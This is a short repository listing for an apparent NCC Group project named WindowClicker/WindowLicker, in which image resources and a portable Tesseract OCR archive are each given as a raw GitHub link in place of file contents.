--------------------------------------------------------------------------------
/WindowLicker/resources/CurrentWindows/ThumbnailView.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/resources/CurrentWindows/ThumbnailView.png
--------------------------------------------------------------------------------
/WindowLicker/resources/PortraitHH.bmp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/resources/PortraitHH.bmp
--------------------------------------------------------------------------------
/WindowLicker/resources/PortraitLandscapeHH.bmp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/resources/PortraitLandscapeHH.bmp
--------------------------------------------------------------------------------
/WindowLicker/resources/PrintPreviewHS.bmp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/resources/PrintPreviewHS.bmp
--------------------------------------------------------------------------------
/WindowLicker/resources/PropertiesHH.bmp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/resources/PropertiesHH.bmp
--------------------------------------------------------------------------------
/WindowLicker/resources/TableHS.bmp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/resources/TableHS.bmp
--------------------------------------------------------------------------------
/WindowLicker/resources/WebRefreshHH.bmp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/resources/WebRefreshHH.bmp
--------------------------------------------------------------------------------
/tesseract-ocr-3.02-win32-portable.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/tesseract-ocr-3.02-win32-portable.zip
--------------------------------------------------------------------------------